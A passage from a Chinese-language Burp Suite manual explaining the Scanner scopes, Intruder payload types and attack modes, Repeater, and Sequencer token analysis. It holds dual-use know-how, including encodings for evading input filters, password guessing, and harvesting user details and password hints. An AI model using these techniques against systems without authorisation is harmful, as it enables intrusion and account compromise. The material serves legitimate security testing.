在主动扫描过程中,你可以根据你的扫描时间、关注的重点、可能性存在的漏洞类型等情 况,选择不同的扫描范围。这里可选择的扫描范围有: SQL注入-可以使不同的测试技术(基于误差,时间延迟测试和布尔条件测试),并且也 使检查所特有的单独的数据库类型(MSSQL,Oracle和MySQL的)。 操作系统命令注入-(信息通知和盲注)。 反射式跨站点脚本 存储的跨站点脚本 文件路径遍历 HTTP头注入 XML/SOAP注入 LDAP注入 URL重定向 http消息头可操纵 服务器的问题 第七章如何使用BurpScanner 78 5.被动扫描范围设置(PassiveScanningAreas) 因为被动扫描不会发送新的请求,只会对原有数据进行分析,其扫描范围主要是请求和应答 消息中的如下参数或漏洞类型:Headers、Forms、Links、Parameters、Cookies、MIME type、Caching、敏感信息泄露、Frame框架点击劫持、ASP.NETViewState。 第七章如何使用BurpScanner 79 第八章如何使用BurpIntruder BurpIntruder作为BurpSuite中一款功能极其强大的自动化测试工具,通常被系统安全渗透测 试人员被使用在各种任务测试的场景中。本章我们主要学习的内容有: Intruder使用场景和操作步骤 Payload类型与处理 Payload位置和攻击类型 可选项设置(Options) Intruder攻击和结果分析 Intruder使用场景和操作步骤 在渗透测试过程中,我们经常使用BurpIntruder,它的工作原理是:Intruder在原始请求数据 的基础上,通过修改各种请求参数,以获取不同的请求应答。每一次请求中,Intruder通常会 携带一个或多个有效攻击载荷(Payload),在不同的位置进行攻击重放,通过应答数据的比对 分析来获得需要的特征数据。BurpIntruder通常被使用在以下场景: 1. 标识符枚举Web应用程序经常使用标识符来引用用户、账户、资产等数据信息。例如, 用户名,文件ID和账户号码。 2. 提取有用的数据在某些场景下,而不是简单地识别有效标识符,你需要通过简单标识符 提取一些其他的数据。比如说,你想通过用户的个人空间id,获取所有用户在个人空间标 准的昵称和年龄。 3. 模糊测试很多输入型的漏洞,如SQL注入,跨站点脚本和文件路径遍历可以通过请求参 数提交各种测试字符串,并分析错误消息和其他异常情况,来对应用程序进行检测。由 于的应用程序的大小和复杂性,手动执行这个测试是一个耗时且繁琐的过程。这样的场 景,您可以设置Payload,通过BurpIntruder自动化地对Web应用程序进行模糊测试。 通常来说,使用BurpIntruder进行测试,主要遵循以下步骤: 1. 确认BurpSuite安装正确并正常启动,且完成了浏览器的代理设置。 2. 进入BurpProxy选项卡,关闭代理拦截功能。 3. 进行历史日志(History)子选项卡,查找可能存在问题的请求日志,并通过右击菜单, 发送到Intruder。 第八章如何使用BurpIntruder 80 4. 进行Intruder选项卡,打开Target和Positions子选项卡。这时,你会看到上一步发送过来 的请求消息。 5. 因为我们了解到BurpIntruder攻击的基础是围绕刚刚发送过来的原始请求信息,在原始信 息指定的位置上设置一定数量的攻击载荷Payload,通过Payload来发送请求获取应答消 息。默认情况下,BurpIntruder会对请求参数和Cookie参数设置成Payloadposition,前 缀添加$符合,如上图红色标注位置所示。当发送请求时,会将$标识的参数替换为 Payload。 6. 在Position界面的右边,有【Add$】、【Clear$】、【Auto$】、【Refersh$】四个按 钮,是用来控制请求消息中的参数在发送过程中是否被Payload替换,如果不想被替换, 则选择此参数,点击【Clear$】,即将参数前缀$去掉。 7. 当我们打开Payload子选项卡,选择Payload的生成或者选择策略,默认情况下选 择“Simplelist",当然你也可以通过下拉选择其他Payload类型或者手工添加。 第八章如何使用BurpIntruder 81 8. 此时,我们再回到Position界面,在界面的右上角,点击【Startattack】,发起攻击。 9. 此时,Burp会自动打开一个新的界面,包含攻击执行的情况、Http状态码、长度等结果 信息。 第八章如何使用BurpIntruder 82 10. 我们可以选择其中的某一次通信信息,查看请求消息和应答消息的详细。 11. 很多时候,为了更好的标明应答消息中是否包含有我们需要的信息,通常在进行攻击 前,会进行Options选项的相关配置,使用最多的为正则表达式匹配(Grep-Match)。 第八章如何使用BurpIntruder 83 12. 或者,我们使用结果选项卡中的过滤器,对结果信息进行筛选。 13. 同时,结果选项卡中所展示的列我们是可以进行指定的,我们可以在菜单Columns进行 设置。 第八章如何使用BurpIntruder 84 14. 最后,选择我们需要的列,点击【Save】按钮,对攻击结果进行保存。 15. 当然,保存之前我们也可以对保存的内容进行设置。 第八章如何使用BurpIntruder 85 以上这些,是BurpIntruder一次完成的操作步骤,在实际使用中,根据每一个人的使用习惯, 会存在或多或少的变动。而每一个环节中涉及的更详细的配置,将在接下来的章节中做更细 致的阐述。 Payload类型与处理 在BurpIntruder的Payload选项卡中,有Payload集合的设置选项,包含了经常使用的Payload 类型,共18种。 他们分别是: 第八章如何使用BurpIntruder 86 简单列表(Simplelist)——最简单的Payload类型,通过配置一个字符串列表作为 Payload,也可以手工添加字符串列表或从文件加载字符串列表。其设置界面如下图 在此操作界面 上,选择的Payload列表中,已经预定义了一组简单Payload列表,包括XSS脚本、CGI 脚本、SQL注入脚本、数字、大写字母、小写字母、用户名、密码、表单域的字段名、 IIS文件名和目录名等等,极大地方便了渗透测试人员的使用。 第八章如何使用BurpIntruder 87 运行时文件(Runtimefile)——指定文件,作为相对应Payload位置上的Payload列表。 其设置界面如下图: 当我们如上图所示,指定Payloadset的位置1使用的Payload类型为Runtimefile时,下方 的PayloadOptions将自动改变为文件选择按钮和输入框,当我们点击【selectfile】选择 文件时,将弹出图中所示的对话框,选择指定的Payload文件。运行时,BurpIntruder将 读取文件的每一行作为一个Payload。 自定义迭代器(Customiterator)——这是一款功能强大的Payload,它共有8个占位, 每一个占位可以指定简单列表的Payload类型,然后根据占位的多少,与每一个简单列表 的Payload进行笛卡尔积,生成最终的Payload列表。例如,某个参数的值格式是 username@@password,则设置此Payload的步骤是:位置1,选择Usernames 第八章如何使用BurpIntruder 88 接着,指定位 置2,输入值@@ 最后指定位置3,选择Passwords 第八章如何使用BurpIntruder 89 当我们开始攻击时,生成的Payload值如图所示 字符串替换(Charactersubstitution)——顾名思义,此种Payload的类型是对预定义的 字符串进行替换后生成新的Payload。比如说,预定义字符串为ABCD,按照下图的替换 规则设置后,将对AB的值进行枚举后生成新的Payload。 第八章如何使用BurpIntruder 90 生 成的Payload如下图所示,分别替换了上图中的a和b的值为4与8 第八章如何使用BurpIntruder 91 大小写替换(Casemodification)——对预定义的字符串,按照大小写规则,进行替 换。比如说,预定义的字符串为PeterWiener,则按照下图的设置后,会生成新的 Payload。 生成的Payload如下 第八章如何使用BurpIntruder 92 生成规则由上而下依次是:Nochange(不改变,使用原始字符串)、Tolower case(转为小写字母)、Touppercase(转为大写字母)、ToPropername(首字母大 写,其他小写)、ToProperName(首字母大写,其他不改变),在实际使用中,可以 根据自己的使用规则进行勾选设置。 递归grep(Recursivegrep)——此Payload类型主要使用于从服务器端提取有效数据的 场景,需要先从服务器的响应中提取数据作为Payload,然后替换Payload的位置,进行 攻击。它的数据来源了原始的响应消息,基于原始响应,在Payload的可选项设置 (Options)中配置Grep规则,然后根据grep去提取数据才能发生攻击。比如,我在 grepextract中设置取服务器端的EagleId作为新的Payload值。 点击上图的【OK】按钮之后,完成了Payload的设置。 第八章如何使用BurpIntruder 93 当我发起攻击时,Burp会对每一次响应的消息进行分析,如果提取到了EagleId的值,则 作为Payload再发生一次请求。操作图如下: 上图中请求序号为偶数的消息的Payload都是上一次服务器端响应的报文中的EagleId的 值。 第八章如何使用BurpIntruder 94 不合法的Unicode编码(IllegalUnicode)——在payloads里用指定的不合法Unicode编 码替换字符本身,从这些Payload列表里产生出一个或者多个有效负荷。在尝试回避基于 模式匹配的输入验证时,这个有效负荷会有用的,例如,在防御目录遍历攻击时../和..序 列的期望编码的匹配。其配置界面如下: 上图中的配置选项主要用来控制不合法编码的生成,各项的含义如下:maximum overlongUTF-8lengthUnicode编码允许最多使用6字节表示一个字符。使用一种类型 就可以正确地表示出(0x00-0x7F)BasicASCII字符。然而,使用多字节的Unicode方案 也能表示出它们(如,”overlong”编码)。下拉菜单用来指定是否使用超长编码,以及应该 设定的最大使用长度。IllegalUTF-8continuationbytes当选择的最大超长UTF-8长 度为2字节以上,这个选项是可用的。DoillegalUTF-8当使用多字节编码一个字符 时,第一个字节后面的字节应该用10XXXXXX这样的二进制格式,来指出后续的字节。 然而,第一个字节里最有意义的位会指出后面还有多少后续字节。因此,Unicode编码 例程会安全地忽略掉后续字节的前2位。这就意味着每个后续字节可能有3个非法变 种,格式为00XXXXXX,01XXXXXX和11XXXXXX。如果选中这个选项,则非法 Unicode有效负荷源会为每个后续字节生成3个附加编码。Maximizepermutationsin multi-byteencodings如果选择的最大超长UTF-8长度为3字节以上,并且选中” illegalUTF-8”这个选项可用。如果”Maximizepermutationsinmulti-byteencodings”没被 选中,则在生产非法变种时,不合法Unicode有效负荷源会按顺序处理每个后续字节, 为每个后续字节产生3个非法变种,并且其他的后续字节不会改变。如果”Maximize permutationsinmulti-byteencodings”被选中了,不合法的Unicode有效负荷源会为后续 字节生成所有的非法变种排序。如,多个后续字节会同时被修改。在目标系统上回避高 级模式匹配控制时,这个功能就会很有用。Illegalhex这个选择基本上一直可用。当使 用超长编码和后续字节的非法变种(如果选中)生成非法编码项列表时,通过修改由此产生 的十六进制编码可能会迷惑到某种模式匹配控制。十六进制编码使用字符A—F代表十进 制10—15的值。然而有些十六进制编码会把G解释为16,H为17,等等。因此0x1G 会被解释为32。另外,如果非法的十六进制字符使用在一个2位数的十六进制编码的第 一个位置,则由此产生的编码就会溢出单个字节的大小,并且有些十六进制编码只使用 了结果数字的后8个有效位,因此0x1G会被解码为257,而那时会被解释为1。每个合 第八章如何使用BurpIntruder 95 法的2位数的十六进制编码有4—6种相关的非法十六进制表示,如果使用的是上面的编 码,则这些表示会被解释为同一种十六进制编码。如果”illegalhex”被选中,则非法 Unicode有效负荷源会在非法编码项列表里,生成每个字节的所有可能的非法十六进制 编码。Maximizepermutationsinmulti-byteencodings如果选中的最大超长UTF-8 长度为2字节以上并且“illegalhex”也被选中,则这个选项可用。如果Maximize permutationsinmulti-byteencodings”没被选中,在生成非法十六进制编码时,非法 Unicode有效负荷源会按顺序处理每个字节。对于每个字节,会生成4—6个非法十六进 制编码,其他的字节不变。如果Maximizepermutationsinmulti-byteencodings”被选 中,则非法Unicode有效负荷源会为所有的字节,生成非法十六进制的所有排序。如, 多个字节会被同时修改。在目标系统上回避高级模式匹配控制时,这个功能会非常有 用。add%prefix如果选中这个选项,在产生的有效负荷里的每个2位数十六进制编码 前面,都会插入一个%符号。Uselowercasealphacharacters这个选项决定了是否在 十六进制编码里使用大小写字母。Totalencodings这个选项为会产生的非法编码数量 放置了一个上界,如果大量使用超长编码或者选中了最大列表,这个选项会很有用,因 为那会生成大量的非法编码。Match/replaceinlistitems这个选项用户控制Payload 列表中的字符串,它是由匹配字符(Matchcharacter)和替换字符编码(Replacewith encodingsof)来成对的控制Payload的生成。 当攻击执行时,这个有效负荷源会迭代所有预设项列表,在非法编码集合里,每个预设 项替换每个项里的指定字符的所有实例。 字符块(Characterblocks)——这种类型的Payload是指使用一个给出的输入字符串, 根据指定的设置产生指定大小的字符块,表现形式为生成指定长度的字符串。它通常使 用了边界测试或缓冲区溢出。 第八章如何使用BurpIntruder 96 Basestring是指设置原始字符串,Minlength是指Payload的最小长度,Maxlength是指 Payload的最大长度,Step是指生成Payload时的步长。如上图的配置后,生成的Payload 如下图所示: 数字类型(Number)——这种类型的Payload是指根据配置,生成一系列的数字作为 Payload。它的设置界面如下: Type表示使用序列还是随机数,From表示从什么数字开始,To表示到什么数字截 止,Step表示步长是多少,如果是随机数,则Howmany被激活,表示一共生成多少个 第八章如何使用BurpIntruder 97 随机数。Base表示数字使用十进制还是十六进制形式,Minintegerdigits表示最小的整 数是多少,Maxintegerdigits表示最大的整数是多少,如果是10进制,则Minfraction digits表示小数点后最少几位数,Maxfractiondigits表示小数点后最多几位数。 日期类型(Dates)——这种类型的Payload是指根据配置,生成一系列的日期。界面如 下 其 设置选项比较简单,没有什么特别复杂的,不再赘述。至于日期格式,可以选择Burp自 己提供的样例格式,也可以自定义,自定义的时候,格式的填写形式如下表所示|格式| 样例||--------|--------||E|Sat||EEEE|Saturday||d|7||dd|07||M|6||MM|06|| MMM|Jun||MMMM|June||yy|16||yyyy|2016| 暴力字典(Bruteforcer)——此类Payload生成包含一个指定的字符集的所有排列特定长 度的有效载荷,通常用于枚举字典的生成,其设置界面如下: Characterset表示生成字典的数据集,从此数据集中抽取字符进行生成。Minlength表 示生成Payload的最小长度,Maxlength表示生成Payload的最大长度。 空类型(Nullpayloads)——这种负载类型产生的Payload,其值是一个空字符串。在攻 击时,需要同样的请求反复被执行,在没有任何修改原始请求的场景下此Payload是非常 有用的。它可用于各种攻击,例如cookie的序列分析、应用层Dos、或保活会话令牌是在 其它的间歇试验中使用。 第八章如何使用BurpIntruder 98 在配置Payload生成方式时,它有两个选项,我们可以指定生成(Generate)多少 Payload,也可以设置为一直持续攻击(Continueindefinitely) 字符frobber(Characterfrobber)——这种类型的Payload的生成规律是:依次修改指定 字符串在每个字符位置的值,每次都是在原字符上递增一个该字符的ASCII码。它通常使 用于测试系统使用了复杂的会话令牌的部件来跟踪会话状态,当修改会话令牌中的单个 字符的值之后,您的会话还是进行了处理,那么很可能是这个令牌实际上没有被用来追 踪您的会话。其配置界面如图: 执行后生成的Payload如下图所示: 第八章如何使用BurpIntruder 99 Bit翻转(Bitflipper)——这种类型的Payload的生成规律是:对预设的Payload原始值, 按照比特位,依次进行修改。它的设置界面如下图: 其设置选项主要有:Operateon指定是对Payload位置的原始数据进行Bit翻转还是指定 值进行Bit翻转,Formatoforiginaldata是指是否对原始数据的文本意义进行操作,还 是应该把它当作ASCII十六进制,Selectbitstoflip是指选择翻转的Bit位置。您可以配 置基于文本意义进行操作,或基于ASCII十六进制字符串进行翻转。例如,如果原始值 是“ab”,基于文本意义的翻转结果是: `b cb eb ib qb Ab !b ¡b ac a` af aj ar aB a" a¢ 如果是基于ASCII十六进制字符串进行翻转,则结果是: 第八章如何使用BurpIntruder 100 aa a9 af a3 bb 8b eb 2b 这种类型的Payload类似于字符frobber,但在你需要更细粒度的控制时是有用的。例如, 会话令牌或其他参数值使用CBC模式的块密码加密,有可能系统地由前一密码块内修改 Bit位以改变解密后的数据。在这种情况下,你可以使用的Bit翻转的Payload来确定加密 值内部修改了个别bit位后是否对应用程序产生影响,并了解应用程序是否容易受到攻 击。关于加密模式可以点击阅读这篇文章做进一步的了解。 用户名生成器(Usernamegenerator)这种类型的Payload主要用于用户名和email帐号 的自动生成,其设置界面如下图: 第八章如何使用BurpIntruder 101 如上图所示,我设置了原始值为t0data@hotmail.com,然后执行此Payload生成器,其生 成的Payload值如图所示 ECB加密块洗牌(ECBblockshuffler)——这种类型的Payload是基于ECB加密模式的 Payload生成器,关于加密模式可以点击阅读这篇文章做进一步的了解。其原理是因为 ECB加密模式中每组64位的数据之间相互独立,通过改变分组数据的位置方式来验证应 第八章如何使用BurpIntruder 102 用程序是否易受到攻击。其设置界面如下图,Payload的配置参数同上一个Payload类型 雷同,就不再赘述。如图: BurpPayload生成插件(Extension-generated)——这种类型的Payload是基于Burp插 件来生成Payload值,因此使用前必须安装配置Burp插件,在插件里注册一个Intruder payload生成器,供此处调用。其基本设置和使用步骤如下图所示,因后续章节将重点叙 述Burp插件,此处不再展开。 Payload复制(Copyotherpayload)——这种类型的Payload是将其他位置的参数复制到 Payload位置上,作为新的Payload值,通常适用于多个参数的请求消息中,它的使用场 景可能是:1.两个不同的参数需要使用相同的值,比如说,用户注册时,密码设置会输 入两遍,其值也完全一样,可以使用此Payload类型。2.在一次请求中,一个参数的值是 基于另一个参数的值在前端通过脚本来生成的值,可以使用此Payload类型。它的设置界 第八章如何使用BurpIntruder 103 面和参数比较简单,如下图所示,其中Payload位置的索引值就是指向图中Payloadset的 值。 Payload位置和攻击类型 首先我们来看看Payload位置(Payloadpositions)选项卡的设置界面: 从上图中我们可以看出,Payload位置的设置是基于Http请求的原始消息作为母板,使用一对 §字符来标记出Payload的位置,在这两个号直接包含了母板文本内容。当我们已经把一个 Payload在请求消息的特殊位置上时标明后,发起攻击时,BurpIntruder就把一个Payload值 放置到给出的特殊位置上,替换§符号标示的整个位置。如上图中的参数id后面的§符号之间 的标明的是Payload位置1,name后面的§符号之间标明的是Payload位置2,这个值对应于 Payload设置中的Payloadset的值。我们可以在消息编辑器中间对Payload位置进行编辑,它 主要是由右侧的四个按钮来控制的。 【Add§】——在当前光标的位置添加一个Payload位置标志 【Clear§】——清除所有Payload位置标志或者清除选中的Payload位置标志 第八章如何使用BurpIntruder 104 【Auto§】——对消息内容中可能需要标志的参数做一个猜测,标志为Payload位置,自 动设置完之后再做人工的选择,确定哪些位置是需要传入Payload的。目前Burp支持自动 选择的参数类型有:1.URL请求参数2.Body参数3.cookie参数4.复合型参数属性,比如 文件上传时候的文件名5.XML数据6.JSON数据虽然Burp默认是支持自动标志这些类型 的参数作为Payload位置,但如果是针对于像XML或JSON的节点属性值的,还是需要手 工指定。 【Refresh】——刷新消息内容中带有颜色的部分。 【Clear】——清除消息编辑器中所有内容。 在消息编辑器的上方,有一个下拉选择框,攻击类型(AttackType)。BurpIntruder支持使 用Payload进行多种方式的模拟攻击,目前只要有以下4种。 狙击手模式(Sniper)——它使用一组Payload集合,依次替换Payload位置上(一次攻 击只能使用一个Payload位置)被§标志的文本(而没有被§标志的文本将不受影响),对 服务器端进行请求,通常用于测试请求参数是否存在漏洞。 攻城锤模式(Batteringram)——它使用单一的Payload集合,依次替换Payload位置上 被§标志的文本(而没有被§标志的文本将不受影响),对服务器端进行请求,与狙击手 模式的区别在于,如果有多个参数且都为Payload位置标志时,使用的Payload值是相同 的,而狙击手模式只能使用一个Payload位置标志。 草叉模式(Pitchfork)——它可以使用多组Payload集合,在每一个不同的Payload标志 位置上(最多20个),遍历所有的Payload。举例来说,如果有两个Payload标志位置, 第一个Payload值为A和B,第二个Payload值为C和D,则发起攻击时,将共发起两次攻 击,第一次使用的Payload分别为A和C,第二次使用的Payload分别为B和D。 集束炸弹模式(Clusterbomb)它可以使用多组Payload集合,在每一个不同的Payload 标志位置上(最多20个),依次遍历所有的Payload。它与草叉模式的主要区别在于,执 行的Payload数据Payload组的乘积。举例来说,如果有两个Payload标志位置,第一个 Payload值为A和B,第二个Payload值为C和D,则发起攻击时,将共发起四次攻击,第 一次使用的Payload分别为A和C,第二次使用的Payload分别为A和D,第三次使用的 Payload分别为B和C,第四次使用的Payload分别为B和D。 可选项设置(Options) 可选项设置主要包括请求消息头设置、请求引擎设置、攻击结果设置、grepmatch,grep extract,greppayloads,以及重定向设置。在使用中,你可以在攻击前进行设置,也可以在攻 击过程中做这些选项的调整。 请求消息头设置(RequestHeaders)——这个设置主要用来控制请求消息的头部信息, 它由UpdateContent-Lengthheader和SetConnection:close两个选项组成。其中 第八章如何使用BurpIntruder 105 UpdateContent-Lengthheader如果被选中,BurpIntruder在每个请求添加或更新 Content-Length头为该次请求的HTTP体的长度正确的值。这个功能通常是为插入可变长 度的Payload到模板的HTTP请求的主体的攻击中,如果没有指定正确的值,则目标服务 器可能会返回一个错误,可能会到一个不完整的请求做出响应,或者可能会无限期地等 待请求继续接收数据。SetConnection:close如果被选中,表示BurpIntruder在每个请 求消息中添加或更新值为“关闭”的连接头,这将更迅速地执行。在某些情况下(当服务器 本身并不返回一个有效的Content-Length或Transfer-Encoding头),选中此选项可能允 许攻击。 请求引擎设置(RequestEngine)——这个设置主要用来控制BurpIntruder攻击,合理 地使用这些参数能更加有效地完成攻击过程。它有如下参数:Numberofthreads并发的 线程数,Numberofretriesonnetworkfailure网络失败时候重试次数,Pausebefore retry重试前的暂停时间间隔(毫秒),Throttlebetweenrequests请求延时(毫 秒),Starttime开始时间,启动攻击之后多久才开始执行。 第八章如何使用BurpIntruder 106 GrepMatch——这个设置主要用来从响应消息中提取结果项,如果匹配,则在攻击结果 中添加的新列中标明,便于排序和数据提取。比如说,在密码猜测攻击,扫描诸如“密码 不正确”或“登录成功”,可以找到成功的登录;在测试SQL注入漏洞,扫描包 含“ODBC”,“错误”等消息可以识别脆弱的参数。 其选项有Matchtype表示匹配表达式还是简单的字符串,Casesensitivematch是否大 小写敏感,ExcludeHTTPheaders匹配的时候,是否包含http消息头。 GrepExtract——这些设置可用于提取响应消息中的有用信息。对于列表中配置的每个项 目,Burp会增加包含提取该项目的文本的新结果列。然后,您可以排序此列(通过单击 列标题)命令所提取的数据。此选项是从应用数据挖掘有用的,能够支持广泛的攻击。 例如,如果你是通过一系列文档ID的循环,可以提取每个文档寻找有趣的项目的页面标 题。如果您发现返回的其他应用程序用户详细信息的功能,可以通过用户ID重复和检索 有关用户寻找管理帐户,甚至密码。如果“遗忘密码”的功能需要一个用户名作为参数,并 第八章如何使用BurpIntruder 107 有关用户寻找管理帐户,甚至密码。如果“遗忘密码”的功能需要一个用户名作为参数,并 返回一个用户配置的密码提示,您可以通过共同的用户名列表运行和收获的所有相关密 码的提示,然后直观地浏览列表寻找容易被猜到密码。 GrepPayloads——这些设置可用于提取响应消息中是否包含Payload的值,比如说,你 想验证反射性的XSS脚本是否成功,可以通过此设置此项。当此项设置后,会在响应的 结果列表中,根据Payload组的数目,添加新的列,显示匹配的结果,你可以通过点击列 标题对结果集进行排序和查找。 其设置项跟上一个类似,需要注意的是Matchagainstpre-URL-encodedpayloads,如 果你在请求消息时配置了URL-encodepayloads,则这里表示匹配未编码之前的 Payload值,而不是转码后的值。 重定向(Redirections)——这些设置主要是用来控制执行攻击时Burp如何处理重定向, 在实际使用中往往是必须遵循重定向,才能实现你的攻击目的。例如,在密码猜测攻 击,每次尝试的结果可能是密码错误会重定向响应到一个错误消息提示页面,如果密码 正确会重定向到用户中心的首页。但设置了重定向也可能会遇到其他的问题,比如说, 在某些情况下,应用程序存储您的会话中初始请求的结果,并提供重定向响应时检索此 值,这时可能有必要在重定向时只使用一个单线程攻击。也可能会遇到,当你设置重定 第八章如何使用BurpIntruder 108 向,应用程序响应会重定向到注销页面,这时候,按照重定向可能会导致您的会话被终 止时。因其设置选项跟其他模块的重定向设置基本一致,此处就不再重叙。 Intruder攻击和结果分析 一次攻击的发起,通常有两种方式。一种是你在BurpIntruder里设置了Target,Positions, PayloadsandOptions,然后点击【Startattack】启动攻击;另一种是你打开一个之前保存 的预攻击文件,然后点击【Startattack】启动攻击。无论是哪种方式的攻击发起,Burp都将 弹出攻击结果界面。在攻击的过程中,你也可以修改攻击配置,或者做其他的操作。攻击结 果的界面如下图所示: 从上图我们可以看出,其界面主要又菜单区、过滤器、Payload执行结果消息记录区、请求/响 应消息区四大部分组成。 第八章如何使用BurpIntruder 109 菜单区包含Attack菜单、Save菜单、Columns菜单。Attack菜单主要用来控制攻击行为 的,你可以暂停攻击(pause)、恢复攻击(resume)、再次攻击(repeat)。Save 菜单主要用来保存攻击的各种数据,Attack保存当前攻击的副本,下次可以从此文件进 行再次攻击;Resultstable保存攻击的结果列表,相当于图中的Payload执行结果消息记 录区数据,当然你可以选择行和列进行保存,只导出你需要的数据;Serverresponses 保存所有的服务器响应消息;Attackconfiguration保存当前的攻击配置信息。 Columns菜单主要用来控制消息记录区的显示列。如果某个列被选中,则在Payload执行 结果消息记录区显示,反之则不显示。 过滤器——可以通过查询条件、服务器响应的状态码、注释过Payload执行结果消息记录 区的信息进行过滤。 Payload执行结果消息记录区,又称结果列表(ResultsTable),记录Payload执行时请 求和响应的所有信息,它包含的列有:请求序列——显示请求的序列号,如果配置了记 录未修改的请求消息母板,则会在第一个进行记录。Payload位置——狙击手模式下会 记录Payload值——如果有多个Payload,则存在多个列HTTP状态码——服务器响应状 态码请求时间——执行攻击的时间响应时间——开始接受到响应时间,单位为毫秒。响 应完成时间——响应完成的时间,单位为毫秒。网络错误——Payload执行时是否发生网 络问题超时情况——等待应答响应过程中,是否发生网络超时长度——响应消息的长度 Cookie——任何的Cookie信息Grep——如果设置了Grep匹配、Grep提取、Grep Payload,则会有多个列显示匹配的信息重定向——如果配置了重定向,则显示注释 ——消息记录的注释信息 请求/响应消息区——参考Proxy章节的相关叙述。 在对攻击结果的分析中,你可以通过单击任一列标题(单击标题循环通过升序排序,降序排 序和未排序)重新排序表的内容。有效地解释攻击的结果的一个关键部分是定位有效的或成 功的服务器响应,并确定生成这些请求。有效的应答通常可以通过以下中的至少一个存在差 异:1.不同的HTTP状态代码2.不同长度的应答3.存在或不存在某些表达式4.错误或超时的 发生5.用来接收或完成响应时间的差异比如说,在URL路径扫描过程中,对不存在的资源的 请求可能会返回“404未找到”的响应,或正确的URL会反馈的“200OK”响应。或者在密码猜测 攻击,失败的登录尝试可能会产生一个包含“登录失败”关键字“200OK”响应,而一个成功的登 录可能会生成一个“302对象移动”的反应,或不同的“200OK”响应页面。 每一个渗透测试人员,对BurpIntruder攻击结果的分析方式可能会存在差异,这主要源于个 人水平的不同和经验的不同。在实战中,只有慢慢尝试,积累,才能通过快速地对攻击结果 的分析获取自己关注的重要信息。 第八章如何使用BurpIntruder 110 第九章如何使用BurpRepeater BurpRepeater作为BurpSuite中一款手工验证HTTP消息的测试工具,通常用于多次重放请求 响应和手工修改请求消息的修改后对服务器端响应的消息分析。本章我们主要学习的内容 有: Repeater的使用 可选项设置(Options) Repeater的使用 在渗透测试过程中,我们经常使用Repeater来进行请求与响应的消息验证分析,比如修改请 求参数,验证输入的漏洞;修改请求参数,验证逻辑越权;从拦截历史记录中,捕获特征性 的请求消息进行请求重放。BurpRepeater的操作界面如下图所示: 请求消息区为客户端发送的请求消息的详细信息,BurpRepeater为每一个请求都做了请求编 号,当我们在请求编码的数字上双击之后,可以修改请求的名字,这是为了方便多个请求消 息时,做备注或区分用的。在编号的下方,有一个【GO】按钮,当我们对请求的消息编辑完 第九章如何使用BurpRepeater 111 之后,点击此按钮即发送请求给服务器端。服务器的请求域可以在target处进行修改,如上图 所示。 应答消息区为对应的请求消息点击【GO】按钮后,服务器端的反馈消息。通过修改请求消息 的参数来比对分析每次应答消息之间的差异,能更好的帮助我们分析系统可能存在的漏洞。 在我们使用BurpRepeater时,通常会结合Burp的其他工具一起使用,比如Proxy的历史记 录,Scanner的扫描记录、Target的站点地图等,通过其他工具上的右击菜单,执行【Send toRepeater】,跳转到Repeater选项卡中,然后才是对请求消息的修改以及请求重放、数据 分析与漏洞验证。 可选项设置(Options) 与Burp其他工具的设置不同,Repeater的可选项设置菜单位于整个界面顶部的菜单栏中,如 图所示: 其设置主要包括以下内容: 更新Content-Length 这个选项是用于控制Burp是否自动更新请求消息头中的Content-Length 解压和压缩(Unpackgzip/deflate)这个选项主要用于控制Burp是否自动解压或压缩 服务器端响应的内容 第九章如何使用BurpRepeater 112 跳转控制(Followredirections)这个选项主要用于控制Burp是否自动跟随服务器端作请 求跳转,比如服务端返回状态码为302,是否跟着应答跳转到302指向的url地址。它有4 个选项,分别是永不跳转(Never),站内跳转(On-siteonly)、目标域内跳转(In- scopeonly)、始终跳转(Always),其中永不跳转、始终跳转比较好理解,站内跳转 是指当前的同一站点内跳转;目标域跳转是指targetscope中配置的域可以跳转; 跳转中处理Cookie(Processcookiesinredirections)这个选项如果选中,则在跳转过 程中设置的Cookie信息,将会被带到跳转指向的URL页面,可以进行提交。 视图控制(View)这个选项是用来控制Repeater的视图布局 其他操作(Action)通过子菜单方式,指向Burp的其他工具组件中。 第九章如何使用BurpRepeater 113 第十章如何使用BurpSequencer BurpSequencer作为BurpSuite中一款用于检测数据样本随机性质量的工具,通常用于检测访 问令牌是否可预测、密码重置令牌是否可预测等场景,通过Sequencer的数据样本分析,能很 好地降低这些关键数据被伪造的风险。本章我们主要学习的内容有: Sequencer使用步骤 可选项设置(Options) Sequencer使用步骤 第十章如何使用BurpSequencer 114 BurpSequencer作为一款随机数分析的工具,在分析过程中,可能会对系统造成不可预测的 影响,在你不是非常熟悉系统的情况下,建议不要在生产环境进行数据分析。它的使用步骤 大体如下:1.首先,确认BurpSuite安装正确,并配置好浏览器代理,正常运行。2.从Burp Proxy的历史日志记录中,寻找token或类似的参数,返回右击弹出上下文菜单,点击【Send toSequencer】。 第十章如何使用BurpSequencer 115 3.进入BurpSequencer的LiveCapture面板,选中刚才发送过来的记录,点击【Configure】 配置需要分析的token或者参数。 4.在弹出的参数配置对话框中,选中参数的值,点击【OK】按钮,完成参数设置。 第十章如何使用BurpSequencer 116 5.点击【SelectLiveCapture】,开始进行参数值的获取。 6.当抓取的参数值总数大于100时,点击【pause】或者【stop】,这时可以进行数据分析, 点击【Analyzenow】即进行数据的随机性分析。 第十章如何使用BurpSequencer 117 7.等分析结束,则可以看到分析结果的各种图表。 第十章如何使用BurpSequencer 118 8.当然,我们也可以把获取的数据保存起来,下一次使用的时候,从文件加载参数,进行数据 分析。如下图保存数据。 9.当我再次使用时,直接加载数据进行分析即可。 第十章如何使用BurpSequencer 119 可选项设置(AnalysisOptions) 分析可选项设置的目的主要是为了控制token或者参数,在进行数据分析过程中,需要做什么 样的处理,以及做什么类型的随机性分析。它主要由令牌处理(TokenHandling)和令牌分 析(TokenAnalysis)两部分构成。 第十章如何使用BurpSequencer 120 令牌处理TokenHandling主要控制令牌在数据分析中如何被处理,它的设置界面如下图 所示: 其 中Padshorttokensatstart/end表示如果应用程序产生的令牌是具有可变长度的,那 么这些令牌在数据分析前都需要被填充,以便于进行的统计检验。你可以选择是否填充 在开始位置或每个令牌的结束位置。在大多数情况下,在开始位置填充是最合适。Pad with表示你可以指定将用于填充的字符。在大多数情况下,数字或ASCII十六进制编码的 令牌,用“0”填充是最合适的。Base64-decodebeforeanalyzing表示在数据分析是否 进行base64解码,如果令牌使用了base64编码的话,则需要勾选此项。 令牌分析TokenAnalysis主要用来控制对数据进行随机性分析的类型,我们可以选择多 个分析类型,也可以单独启用或禁用每个字符类型级和字节级测试。有时候,执行与启 用所有分析类型进行初步分析后,再禁用某些分析类型,以便更好地了解令牌的特点, 